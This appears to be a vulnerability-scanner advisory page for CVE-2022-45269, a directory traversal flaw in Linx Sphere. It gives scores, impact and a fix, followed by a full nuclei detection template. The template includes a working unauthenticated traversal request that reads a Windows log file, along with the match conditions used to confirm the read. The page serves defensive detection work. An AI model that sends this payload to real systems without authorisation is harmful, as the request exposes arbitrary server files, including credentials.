Linx Sphere - Directory Traversal

highseverity

7.5CVSS score

3.4%likelihood of exploitation, next 30 days

89%of all CVEs are less likely

Readycheck to confirm it

A directory traversal vulnerability in the component SCS.Web.Server.SPI/1.0 of Linx Sphere LINX 7.35.ST15 allows attackers to read arbitrary files.

Impact

Unauthenticated attackers can exploit path traversal to read arbitrary files from the server, potentially accessing sensitive configuration files, credentials, and application source code.

Fix

Update Linx Sphere to a version newer than 7.35.ST15 that properly validates file paths and prevents directory traversal attacks.

How to confirm it

Send: GET {{BaseURL}}/../../../../../../../../../../../../windows/iis.log
Positive when: contains "Component Based Setup" AND status 200

Run it with nuclei: nuclei -id CVE-2022-45269 -u <target>

The full check

id: CVE-2022-45269

info:
  name: Linx Sphere - Directory Traversal
  author: robotshell
  severity: high
  description: |
    A directory traversal vulnerability in the component SCS.Web.Server.SPI/1.0 of Linx Sphere LINX 7.35.ST15 allows attackers to read arbitrary files.
  impact: |
    Unauthenticated attackers can exploit path traversal to read arbitrary files from the server, potentially accessing sensitive configuration files, credentials, and application source code.
  remediation: |
    Update Linx Sphere to a version newer than 7.35.ST15 that properly validates file paths and prevents directory traversal attacks.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-45269
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-45269
    cwe-id: CWE-22
    epss-score: 0.03396
    epss-percentile: 0.88931
    cpe: cpe:2.3:a:gmaolinx:linx_sphere:7.35.st15:*:*:*:*:*:*:*
  metadata:
    vendor: gmaolinx
    product: linx_sphere
    fofa-query: "SCS.Web.Server.SPI/1.0"
    verified: true
    max-request: 1
  tags: cve,cve2022,linx,lfi,scs,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/../../../../../../../../../../../../windows/iis.log"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Component Based Setup"

      - type: status
        status:
          - 200

References

https://nvd.nist.gov/vuln/detail/CVE-2022-45269

Use this check only on systems you are authorised to test. Where the data comes from